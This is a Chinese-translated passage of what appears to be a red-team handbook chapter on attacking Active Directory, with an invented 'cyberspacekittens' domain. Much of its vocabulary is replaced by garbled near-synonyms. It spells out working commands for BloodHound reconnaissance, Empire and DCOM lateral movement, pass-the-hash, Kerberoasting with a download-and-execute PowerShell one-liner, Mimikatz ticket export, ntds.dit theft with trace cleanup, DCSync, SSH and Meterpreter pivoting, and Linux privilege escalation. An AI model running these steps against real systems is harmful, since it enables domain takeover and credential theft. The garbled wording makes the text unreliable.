Bloodhound/Sharphound咱们如何应用在窥探阶段采集的扫数信息来创建一条障碍线路呢?咱们如何能够减弱、快速地得知谁有权限去调用那些功能?纪念一下,咱们老是试图径直障碍,让一切齐达到咱们想要的目的,但这老是会加多被收拢的可能性。
Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 还是创造了一种最好的器具,那即是 Bloodhound/Sharphound。在他们的 Github 页面上骄贵。“Bloodhound/Sharphound 使用图表表面来揭示 Active Directory 环境中荫藏的、出乎意料的关系。障碍者红队可以使用 Bloodhound 减弱识别高度复杂的障碍旅途,不然的话将无法快速识别。堤防者蓝队可以使用 Sharphound 来识别和摈弃对应的的障碍旅途。”[https://github.com/BloodHoundAD/BloodHound] 。
Bloodhound/Sharphound 的责任旨趣是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(雷同于咱们以前手奇迹念的)。然后,Ingestor 将尝试结合到每个系统以胪列登录的用户、会话和权限。天然,这个动静会很大。对于领受默许接济(可以修改)的中型企业网站,结合到每个主机系统和使用 Sharphound 查询信息的时辰可能不到10分钟。扎眼,因为这会交易到蚁集上每个加入域的系统,是以它可能会让你被发现。Bloodhound/Sharphound 中有一个微妙选项,它只查询 Active Directory,不结合到每个主机系统,然则输出结果相称有限。
咫尺有两种不同的版块(我相信旧版块很快就会被移除):
在 Empire,你可以使用模块: usemodule situational_awareness/network/bloodhound 这仍然是查询相称慢的旧的 PowerShell 版块 最好的采纳是 Sharphound,Sharphound 是最原始的 C# 版块 Bloodhound Ingester。这是个更快更结实的版块。可以用作落寞二进制文献,也可以作为 PowerShell 剧本导入。Sharphound PowerShell 剧本将使用反射和 assembly.load 加载已编译 BloodHound C# 版块的 ingestor 并将其拿获。 https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个蚁合方法:
Group - Collect group membership information 采集构成员身份信息 LocalGroup - Collect local admin information for computers 采集策动机的腹地管制信息 Session - Collect session information for computers 采集策动机的会话信息 SessionLoop - Continuously collect session information until killed 持续采集结话信息直到斥逐 Trusts - Enumerate domain trust data 列举域内信任数据 ACL - Collect ACL (Access Control List) data 采集ACL(造访收敛列表)数据 ComputerOnly - Collects Local Admin and Session data 采集腹地管制和会话数据 GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects) 使用GPO(组策略对象)采集腹地管制信息 LoggedOn - Collects session information using privileged methods (needs admin!) 使用特权方法采集结话信息(需要管制员权限!) ObjectProps - Collects node property information for users and computers 为用户和策动机采集节点属性信息 Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts 采集构成员、腹地管制员、会话和域信任关系在主义系统上运行 Blood/Sharphound:
运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1: Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -NoSaveCache 运行可践诺文献: SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group一朝完成了 Bloundhound/Sharphound,这四个文献将被保存到受害者机器上。下载并处理这些文献,并将它们复制到你的 kali 上。接下来,咱们需要启动 Neo4j 劳动器并导入这些数据来构建关系关系图。
打开 Bloodhound
apt-get install bloodhound neo4j console 打开浏览器造访 :7474 结合到 bolt://localhost:7687 用户名: neo4j 密码: neo4j 修改密码 在一个终局中运行 Bloodhound: bloodhound 数据库 URL: bolt://127.0.0.1:7687 用户名: neo4j 密码:新的密码 加载数据 在右侧,有一个 Upload Data 的按钮 上传 acls.csv,group_membership.csv, local_admin.csv 和 sessions.csv如果你莫得一个域来测试这个,我还是在这里上传了四个 Bloodhound 文献:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重迭这些老到了。一朝进入 Bloodhound 并导入了扫数数据,咱们就可以去查询“查找到域管制员的最短旅途”。咱们还可以采纳特定的用户,望望是否可以将旅途映射到特定的用户或组。在咱们的示例中,咱们攻陷的第一个用户机器是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索栏中,咱们输入该用户的用户名,单击 Pathfinding 按钮,然后键入“Domain Admin”(或任何其他用户),观望是否可以在这些对象之间骄贵对应的路由旅途。
你可以从 Neil 的机器上看到,咱们可以一齐成功的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。
如果咱们能攻陷 HelpDesk 组,咱们可以转到 Chris 的主机中,而且 Elon Muskkat 咫尺已登录此机器。如果咱们能蜕变到他的程度或窃取他的明文密码,咱们就可以把权限耕作到域管制员!
对于大型蚁集的扫描结果,咱们扎眼到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大公正是,它允许通过我方自身的叫 Cypher 的语言进行原始查询。关系自界说查询的 Cypher 的深入研究,请造访:https://blog.cptjesus.com/posts/introtocypher 。
咱们可以添加哪种自界说查询?来看吧,@porterhau5在推广 Bloodhound 追踪和可视化障碍方面取得了很猛进展。观望他们的著述:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。
从高头绪的角度来看,@porterhau5加多了标记被攻陷主机的想法,以匡助更好地在内网漫游。举例,在这个伪造的场景中,咱们通过仿冒用户 niel.pawstrong 来危害其他驱动用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能,咱们可以运行这些查询:
向被攻陷系统添加自有标签: MATCH (n) WHERE n.name=“NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=“phish”, n.wave=1 运行查询以骄贵扫数被仿冒的系统 MATCH (n) WHERE n.owned=“phish” RETURN n现在,咱们可以向 Bloodhound 添加一些自界说查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自界说查询”傍边的“剪辑”按钮。用以下内容替换扫数文本:
https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json保存之后,咱们应该创建更多的查询。现在咱们可以单击查找结果“查找从所属节点到域管制员的最短旅途”。
如果你想更仔细地研究这个问题,请观望 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直不雅,并允许更多的自界说功能:https://github.com/porterhau5/bloodhound-owned 。
到咫尺为止,在莫得扫描的情况下,咱们还是能够得回对于该组织的大批信息。这齐是作为腹地 AD 用户(域用户)的权限能作念到的的,而且在大多数情况下,莫得任何蚁集流量看起来太可疑。正如你所看到的,咱们能够作念到这一切,而无需成为腹地管制员或对腹地系统辖有任何管制权限。
Advanced ACL/ACE Bloodhound当使用 Bloodhound 的采集方法造访收敛列表(ACL)类型时,咱们的剧本将查询 AD 以采集用户和对象的扫数造访收敛权限。咱们从造访收敛项(ACEs)采集的信息描绘了用户、组和策动机的允许和断绝权限。寻找和应用 ACEs 自身即是一个能写成完整的书的内容,但这里有一些很好的启动资源:
BloodHound 1.3–acl 障碍旅途更新 https://wald0.com/?p=112 先容对抗性收复方法在将 ACL 数据导入 Bloodhound 时,咱们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在弊端的地点。这将包括谁有才调调动或重置密码、向组中添加成员、为其他用户更新剧本旅途等对象、更新对象或在对象上写入新的 ACE 等等。
如何使用这个东西呢?当攻陷到某个用户和得回额外的凭证后,咱们可以通过主义旅途找到一个有才调重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域管制员或特权帐户的旅途,以至允许接济后门以供以后使用。了解这些类型的应用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲 。
横向漫游——移动在一个领有多个用户的机器上,日常的作念法是创建一个新的用户凭证或者转移不同用户的凭证。这种方法大批用于在环境中横向移动,这并不是什么崭新问题。日常,从 Bloodhound 输出或分享责任站,作为障碍者,咱们需要能够师法被攻陷的受害者系统上的其他用户。
咱们领有的许多器具可以用不同的方法来斥逐这一丝。比如 Metasploit,咱们齐应该相称熟悉使用 Post Exploitation 隐敝框架来窃取 token。
在 Empire 中,咱们可以使用窃取 token 来模拟该系统上的用户。我扎眼到,有时候窃取 token 会让咱们的 shell 下线。为了幸免这种情况,咱们可以将一个新的 agent 注入到另一个用户领有的正在运行的程度中。
鄙人面的图片中,咱们使用垂纶让一个职工运行了咱们的坏心软件。。这使得咱们可以在受害者用户的系统中运行咱们我方的步调(neil.pawstrong)。在阿谁用户的系统上,咱们可以转到 BuzzClawdrin 的系统,并用WMI(WindowsManagementInstrumentation)呐喊践诺得回了一个新的 agent。这里的问题是,咱们在领先障碍受害者 Neil.Pawstrong 的过程中,因为咱们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,咱们不应该窃取 token,而应该使用 Empire 的 psinject 功能。
psinject 描绘“能够使用 ReflectivePick 将代理注入另一个程度,从而将通用.NET运行库时加载到程度中并践诺特定的 PowerShell 呐喊,而无需启动新的 PowerShell.exe 程度!”[ ],咱们使用它来生成一个全新的、以 buzz.clauldrin 的用户程度运行的 agent,这样咱们现在就可以得回他的造访权限。
离开驱动主机现在你还是找到了将要移动到的潜在旅途,那么得回这些系统的代码践诺的选项是什么?最基本的方法是使用咱们当前的有 Active Directory 权限的用户以得回对另一个系统的收敛权,举个例子,一个司理可以完全造访其下属的策动机,一个领有多个具有管制权限的会议/实验组策动机,他们的里面系统成立诞妄,或者发现存东说念主手动将用户添加到该策动机上的腹地管制组。这齐是普通用户可以领有长途造访到蚁集上的其他责任站的可能的一些方式。一朝攻陷了一台主义机器,咱们既可以获取 Bloodhound 的结果,也可以从头扫描蚁集以观望咱们在哪些机器上具有腹地造访权限:
Empire 模块: situational_awareness/network/powerview/find_localadmin_access Metasploit 模块:Empire 的 find_localadmin_access 将查询 Active Directory 中的扫数主机名并尝试结合到它们。这统统是一个会形成很大动静的器具,因为它需要结合到每个主机况兼验证它是否是腹地管制员。
咱们可以看到,Empire 的 find_localadmin_access 模块表明了用户造访咱们的陷坑的是一个 buzz.cyberspacekittens.local 机器。这应该和咱们的 Bloodhound 回显的是一样的。为了再次检查咱们是否有造访权限,我日常会践诺一些非交互的长途呐喊,比如 dir [remote system]\C$ 并观望咱们是否有对 C 盘的读/写权限。
在域内横向移动方面,有好几种作念法。让咱们先来望望 Empire 中最常见的(径直从 Empire 中索要的):
inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份验证苦求中继到 SMB 主义。如果成功地中继了身份验证,况兼帐户具有较高的权限,则将在主义机器上应用 PSExec 践诺指定的呐喊或 Empire 启动步调。 invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在腹地/长途主机上践诺 PowerShell 呐喊。如果提供了凭证,则在腹地装入默许管制分享。此呐喊将在启动 msbuild.exe 程度的前后践诺,而不启动 powershell.exe。 invoke_psremoting:使用 psremoting 在长途主机上践诺 stager。只须受害者启用了 PSRemoting(这不老是启用的),咱们就可以通过此劳动践诺 PowerShell。 invoke_sqloscmd:在长途主机上践诺呐喊或着使用 xp_cmdshell 步调。就会反弹回一个 xp_cmdshell! invoke_wmi:使用 WMI 在长途主机上践诺 stager。发现主义险些老是启用了 WMI,这是践诺 PowerShell payload 的一个很好的方法。 jenkins_script_console:将 Empire 代理部署到具有对剧本收敛台未经身份验证造访权限的 Windows Jenkins 劳动器。如咱们所知,Jenkins 劳动器是常见的,莫得凭证日常意味着要使用 RCE 来通过 /script 端点。 invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在长途主机上调用呐喊。允许咱们在不使用 psexec,WMI 或 PSRemoting 的情况下渗入进去。 invoke_psexec:使用 PsExec 类型在长途主机上践诺 stager 功能。这是使用 PsExec 移动文献并践诺的传统方法。这可能会触发警报,但如果莫得其他可用的方法,这仍然是一个好方法。 invoke_smbexec:使用 SMBExec.ps 在长途主机上践诺 stager。咱们可以使用 samba 器具进行雷同的障碍,而不是使用 PsExec。 invoke_sshcommand:通过 SSH 在长途主机上践诺呐喊。 invoke_wmi_debugger:使用 WMI 将长途策动机上的主义二进制文献的调试器接济为 cmd.exe 或 stager。使用雷同 sethc(粘滞键)的调试器器具来践诺咱们的代理。 new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO,此模块允许你将“即时”运筹帷幄任务推送到可以剪辑的 GPO,允许在应用 GPO 的系统上践诺代码。[-1-5/]
这些只是一些最毛糙和最常见的横向内网漫游时期。在本书的后头,咱们将谋整齐些不太常见的绕过蚁集的时期。在大多数内网中,日常启用 Windows Management Instrumentation(WMI),因为它是管制责任站所必需的劳动。因此,咱们可以使用 invoke-wmi 横向移动。由于咱们使用的是腹地缓存凭证,且咱们的帐户可以造访长途主机,因此咱们不需要知说念用户的凭证。
在长途系统上践诺
usemodule lateral_movement/invoke_wmi 接济你行将入侵的主机的关系信息: set ComputerName buzz.cyberspacekittens.local 成立你将使用的监听器: set Listener http 结合到长途主机并践诺坏心步调: execute 和新的 agent 交互: agents interact sysinfo 应用 DCOM 的横向移动有许多方法可以在主机上进行单次横向移动。如果露出的帐户具有造访权限,或者你能够使用拿获的凭证创建令牌,咱们可以使用 WMI、PowerShell 长途呐喊践诺或 PSExec 生成不同的 shell。如果这些践诺呐喊的方法受到监控如何办?咱们通过使用漫衍式组件对象模子(DCOM)斥一一些很酷的 Windows 功能。DCOM 是用于在不同长途策动机上的软件组件之间通讯的 Windows 功能。
你可以使用 Powershell 呐喊列出策动机的扫数 DCOM 应用步调:GetCimInstance Win32_DCOMApplication
安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(举例 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上长途践诺代码。当列出扫数 DCOM 应用步调(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只须咱们的帐户有权造访,咱们就可以应用此功能在长途责任站上践诺二进制文献。
powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)这将只在系统腹地践诺文献,况兼咱们不成将任何呐喊行参数包含到可践诺文献中(因此不成使用 cmd /k 类型的障碍)。相背,咱们可以从长途系统调用文献并践诺它们,但请扎眼,用户将收到警告的弹窗。在本例中,我咫尺在一个受害者的主机 neil.cyberspacekittens.local 上,该主机可以管制造访一个名为 buzz 的长途责任站。咱们将在 Neil 的责任站上分享一个文献夹,并托管咱们的 payload。接下来,咱们可以调用 DCOM 对象在长途受害者(buzz)策动机上践诺托管的 payload。
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”)
正如你鄙人一张图片中看到的,Buzz 的策动机上出现了一个对于运行 adobeupdate.exe 文献的弹出窗口。天然大多数用户齐会点击并运行这个,但它可能会让咱们被主义察觉。
因此,幸免这个问题的更好方法是在使用 DCOM 践诺该文献之前将该文献移到上头(雷同于装载受害者的驱动器)。@Enigam0x3对此作念得更进一步,并应用 Excel 宏来使用 DCOM。最先,咱们需要在我方的系统上创建坏心 Excel 文档,然后使用 PowerShell 剧本在受害者主机上践诺此.xls 文献。
需要扎眼的一丝是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或住手劳动等等。这无疑为进一步研究 DCOM 功能提供了很好的启航点。
参考文献:
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ https://www.cybereason.com/blog/dcom-lateral-movement-techniques Pass-the-Hash昔时传递腹地管制帐户 Pass-The-Hash(PTH)的方法在很大程度上还是开首消失。天然还莫得完全消失,但让咱们快速回顾一下。PTH 障碍应用 Windows NTLM 哈希对系统进行身份验证,而不是使用用户的凭证。这是很浩瀚的一丝,最先,使用 Mimikatz 这样的器具可以很容易地收复哈希,可以为腹地帐户索要哈希(但需要腹地管制员权限),可以从转储域收敛器(不是明文密码)中收复哈希(DCsync)等等。
PTH 最基本的用途是障碍腹地管制员。由于默许情况下腹地管制员帐户已被禁用,况兼出现了更新的安全功能,举例腹地管制员密码惩办有运筹帷幄(LAPS),为每个责任站创建随秘籍码,因此日常很少使用上述这种方法。昔时,在一个责任站上获取腹地管制帐户的哈希值在通盘组织中是可以用同样的方法斥逐的,这意味着一个易受障碍的有运筹帷幄会使通盘公司歇业。
天然,这要求你必须是系统上的腹地管制员,启用腹地管制员帐户“administrator”,况兼它是 RID 500帐户(意味着它必须是原始管制员帐户,不成是新创建的腹地管制员帐户)。
践诺呐喊: shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never如果咱们看到帐户处于行为状态,咱们可以尝试从腹地策动机中索要扫数哈希值。请记着,这不会包括任何域账户哈希:
Empire Module: powershell/credentials/powerdump Metasploit Module:举例:
(Empire: powershell/credentials/powerdump) > execute Job started: 93Z8PE输出:
Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::咱们可以使用 Empire(credentials/mimikatz/pth)或者启动确凿任的 psexec,提交咱们的哈希,并践诺咱们的自界说 payload,如下图所示:
如前所述,这是一种现在有数的陈腐的横向移动方式。如果你仍在商量应用腹地管制员帐户,但所处的环境有 LAPS(腹地管制员密码惩办有运筹帷幄),你可以使用几个不同的将它们从 Active Directory 中转储出的器具。这假设你还是领有一个域管制员或 Helpdesk 类型帐户的权限:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/]这是保持横向移动而不刊出 Helpdesk 用户帐户的好方法。
从劳动帐户获取凭证如果你发现我方处于一个用户权限受限、无法从内存中索要密码、主机系统上莫得密码的情况下,该如何办...接下来该如何办?好吧,我最心爱的障碍之一是 Kerberoasting。
咱们齐知说念 NTLM 存在劣势,这是由于单向哈希(不含盐)、重放障碍和其他传统问题形成的,这亦然许多公司转向领受 Kerberos 的原因。如咱们所知,Kerberos 是一种安全的方法,用于对策动机蚁集中的劳动苦求进行身份验证。咱们不会深入研究 Windows 中的 Kerberos 斥逐。然则,你应该知说念域收敛器日常充任单子授予的劳动器;蚁集上的用户可以苦求单子授予劳动器以获取资源造访权的凭证。
什么是最严重的障碍?作为障碍者,咱们可以掌捏咱们之前索要的主义劳动帐户的任何 SPN 苦求 Kerberos 劳动票证。疏忽在于,当从域收敛器苦求劳动单子时,该票证使用关联的劳动用户的 NTLM 哈希加密。由于任何用户齐可以苦求任何单子,这意味着,如果咱们可以猜测关联劳动用户的 NTLM 哈希(加密单子的)的密码,那么咱们现在就知说念执行劳动帐户的密码。这听起来可能有点令东说念主困惑,是以让咱们来看一个例子。
与以前雷同,咱们可以列出扫数的SPN劳动。这些是咱们将为其索要扫数 Kerberos 单子的劳动帐户:
setspn -T cyberspacekittens.local -F -Q /咱们可以将单个用户的 SPN 作为主义,也可以将扫数用户的 Kerberos 单子拉入用户的内存中:
针对单个用户: powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local” 将扫数用户单子拖到内存中 powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} 天然,你也可以使用 powersploit 践诺此操作: https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/如果成功的话,咱们还是将一个或多个不同的 Kerberos 票证导入到受害者策动机的内存中。咱们现在需要一种方法来索要单子。咱们可以使用好器具 Mimikatz Kerberos 导出:
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’一朝咱们导出这些票证,它们将仍会驻留在受害者的机器上。在咱们开首破解它们之前,咱们必须从它们的系统中下载它们。请记着,单子是用劳动帐户的 NTLM 哈希加密的。是以,如果咱们能猜到 NTLM 哈希,咱们就可以读取单子,现在也知说念劳动帐户的密码。破解账户最毛糙的方法是使用一个名为 tgsrepcrack 的器具(JTR 和 Hashcat 也救助破解 Kerberoast,稍后咱们将谋划)。使用 Kerberoast 破解票证:
使用 Kerberoast 来破解单子: cd /opt/kerberoast python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi]在这个例子中,劳动帐户 csk-github 的密码是“p@ssw0rd!”
天然,Empire 有一个 PowerShell 模块为咱们作念扫数需要作念的事情。它位于 powershell/credentials/invoke_kerberoast 目次下( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 )。
你可以用 John the Ripper 以至 Hashcat 来破解密码并输出结果。我以前在相称大的蚁集环境中运行 PowerShell 剧本时遭遇过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将扫数的单子齐获取下来。
转储域收敛器哈希一朝咱们得回了域管制造访权,从 DC 中索要扫数哈希的老方法即是在域收敛器上运行呐喊,并使用 Shadow Volume 或原始拷贝时期索要 ntds.dit 文献。
回顾磁盘卷影复制时期由于咱们确乎可以造访文献系统,况兼可以作为障碍者在域收敛器上运行呐喊,因此咱们但愿获取存储在 ntds.dit 文献中的扫数域内哈希。横祸的是,该文献络续地被读和写,即使作为系统,咱们也无法读取或复制该文献。红运的是,咱们可以应用名为 Volume Shadow Copy Service 磁盘复制劳动(VSS)的 Windows 功能,该功能将创建磁盘的快照副本。然后咱们可以从该副本中读取 Ntds.dit 文献将其获取出来。并将其从策动机上取消,这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文献。临了,咱们需要计帐咱们的萍踪并删除磁盘拷贝:
C:\vssadmin create shadow /for=C: copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM. copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM. reg SAVE HKLM\SYSTEM c:\SYS vssadmin delete shadows /for= [/oldest | /all | /shadow=]NinjaCopy
Ninjacopy 是另一个器具,一朝咱们在域收敛器上,就可以用来获取 Ntds.dit 文献。Ninjacopy “通过读取原始磁盘卷并分析 NTFS 结构,从 NTFS 分区磁盘复制文献。这将绕过文献 DACL(苟且造访收敛列表)、读取句柄锁和 SACL(系统造访收敛列表)。但你必须是管制员才能运行这个剧本。这可用于读取日常锁定的系统文献,如 NTDS.dit 文献或注册表成立单位。”[]
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.ditDCSync
现在,咱们还是回顾了从 DC 索要哈希的老方法,这些方法要求你在 DC 上运行系统呐喊,况兼日常需要在该策动机上删除一些文献,让咱们络续谋划新方法。最近,由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改变了从域收敛器转储哈希的玩法。DCSync 的倡导是它模拟域收敛器来苦求该域顶用户的扫数哈希。这意味着,只须你有权限,就不需要运行任何域收敛器上的呐喊,也不必删除 DC 上的任何文献。
然则要使 DCSync 责任,必须具有从域收敛器中索要哈希的适当权限。日常是限于域管制员、企业管制员、域收敛器用户组以及将复制调动权限接济为允许(即复制扫数调动和复制目次调动)的任何东说念主,DCSync 将允许你的用户践诺此障碍。这种障碍领先是在 Mimikatz 开发的,可以使用以下呐喊运行:
Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes]更好的是,DCSync 被引入了 PowerShell Empire 这样的器具,以使其更容易斥逐。
Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump
观望 DCSync hashdump,咱们可以看到 Active Directory 顶用户的扫数 NTLM 哈希。此外,咱们还有 krbtgt NTLM 哈希,这意味着咱们现在(或在将来的行为中)可以践诺 Golden Ticket attacks(黄金单子障碍)。
应用 VPS 在内网进行 RDP 横向移动在咫尺寰宇,有了大批的新一代杀毒软件,在策动机之间横向运行 WMI/PowerShell Remoting/PSExec 并不老是最好的采纳。咱们还看到一些组织系统正在纪录扫数发生的 Windows 呐喊领导。为了惩办这一切,咱们有时需要回到基本的横向开通。使用 VPS 劳动器的问题是,它只是一个莫得 GUI 接口的 shell。因此,咱们将成立路由和代理转发来自障碍者主机的流量,通过 VPS,然后再到被攻陷的主机,临了横向移动到下一个受害者。红运的是,咱们可以使用大部分腹地器具完成任务。
最先,咱们需要接济一个 VPS 劳动器,启用怒放到公网的多个端口,用 PTF 成立 Metasploit,并用 Meterpreter 攻陷领先的受害者。咱们也可以用 Cobalt Strike 或其他框架来斥逐这一丝,但在本例中咱们将使用 Meterpreter。
咱们可以应用默许的 SSH 客户机,使用腹地端口转发(-L)。在这个场景中,我使用的是 Mac,但这也可以在 Windows 或 Linux 系统上完成。咱们将使用 SSH 密钥通过 SSH 结合到咱们的 VPS。咱们还将在障碍者机器上成立腹地端口,在本例中是3389(RDP),以将任何发送到该端口的流量转发到咱们的 VPS。当该端口上的流量转发到咱们的 VPS 时,它会将该流量发送到 VPS 上 3389 端口上的腹田主机。临了,咱们需要在 3389 端口上接济一个监听咱们的 VPS 的端口,并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器接济一个端口转发,以能结合到受害者的系统。
用 Meterpreter payload 障碍受害者 在咱们的机器上开启 SSH,并在咱们的障碍者系统上接济腹地端口转发(腹地监听端口3389),以将针对该端口的扫数流量发送到 3389 上的 VPS 腹田主机端口。 ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 在 Meterpreter 会话上接济一个前置端口以监听端口3389上的 VPS,并通过被攻陷的机器将该流量发送到下一个要横向移动到的劳动器。 portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 在咱们的障碍者机器上,打开咱们的 Microsoft 长途桌面客户端,将你的结合接济为你我方的腹田主机 -127.0.0.1,然后输入受害者的凭证以通过 RDP 进行结合。 在 Linux 中横向移动在 Linux 中的操作多年来变化不大。日常,如果你使用的是 dnscat2 或 Meterpreter,它们齐救助我方的转发。
dnscat2: listen 127.0.0.1:9999 <target_IP>:22 Metasploit post/windows/manage/autoroute Metasploit Socks Proxy + Proxychains use auxiliary/server/socks4a Meterpreter: portfwd add –l 3389 –p 3389 –r <target_IP>如果你红运地得回了一个 SSH shell,那么咱们可以通过该系统进行渗入。咱们如何得回 SSH shell 呢?在许厚情况下,一朝咱们可以斥逐腹地文献包含(LFI)或长途代码践诺(RCE),咱们可以尝试权限升级以读取 /etc/shadow 文献(和密码破解),或者咱们可以应用一些 Mimimikatz 作风的方法。
与 Windows 和 Mimikatz 一样,Linux 系统也有同样的问题,密码以明体裁式存储。@huntergregal 编写的器具可以转储特定程度,这些程度很可能以明体裁式包含用户的密码。尽管迄今为止,这只适用于有限版块的 Linux 系统,但这个同样的倡导可以在通盘系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码:
https://github.com/huntergregal/mimipenguin一朝咱们在被入侵的主机上得回了凭证,况兼可以通过 SSH 反弹 shell,咱们就可以通过这个纯正传输流量,并在机器之间进行数据荫藏。在 SSH 中,有一些很好的秉性可以让咱们践诺这个操作过程:
接济动态 Sock Proxy 以使用 proxychains 通过主机荫藏咱们的扫数流量: ssh -D 127.0.0.1:8888 -p 22 @ <Target_IP> 单个端口的基本端口转发: ssh @<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80 通过 SSH 的 VPN。这是一个相称棒的秉性,使得可以通过 SSH 纯正隐敝传输第3层蚁集流量。 https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh Linux 提权Linux 权限耕作在很大程度上与 Windows 雷同。咱们寻找可以写入的易受障碍的劳动、那些毒手的诞妄成立、平面文献中的密码、扫数的可写文献、运筹帷幄任务,天然还有修补问题。
在有用和高效地分析 Linux 系统中的权限耕作问题方面,咱们可以使用一些器具来为咱们完成扫数的责任。
在咱们进行任何类型的权限耕作障碍之前,我最先要在 Linux 主机上进行一个讲究的信息采集责任,并识别所关系于系统的信息。这包括用户、劳动、定时任务、软件版块、弱信任对象、诞妄成立的文献权限,以至是 Docker 信息。咱们可以使用一个名为 LinEnum 的器具来为咱们完成扫数的累活( https://github.com/rebootuser/linenum )。
这是一个相称长的呈报,内容是你可能想要了解的对于底层系统的扫数信息,这对于将来的行为来说詈骂常好的。
一朝咱们得回了对于系统的信息,咱们就会试图望望咱们是否能够应用这些疏忽中的任何一个。如果咱们找不到任何可用的疏忽或劳动、运筹帷幄任务中的诞妄成立,咱们将径直在系统或应用步调上进行障碍。我试着临了作念这些,因为老是有一个潜在的可能性可以径直使系统挂掉。
咱们可以运行一个名为 linux-exploit-suggester 的器具来分析主机系统并识别缺失的补丁和疏忽。一朝识别露马脚,该器具还将向你提供可用 PoC 疏忽的连气儿。
现在,咱们要应用什么呢?这即是教导和实践确凿阐述作用的地点。在我的实验中,我将成立大批不同的 Linux 版块,以验证这些疏忽障碍不会使底层系统崩溃。在这个场景中,我最心爱的一个疏忽是 DirtyCOW。
DirtyCOW 的责任旨趣是“在Linux内核的内存子系统处理写造访时只读独到映射 COW 情况中断的方式中发现了竞争条件。非特权腹地用户可以使用此劣势获取对其他只读内存映射的写造访权限,从而加多他们在系统上的权限。”[https://dirtycow.ninja/]
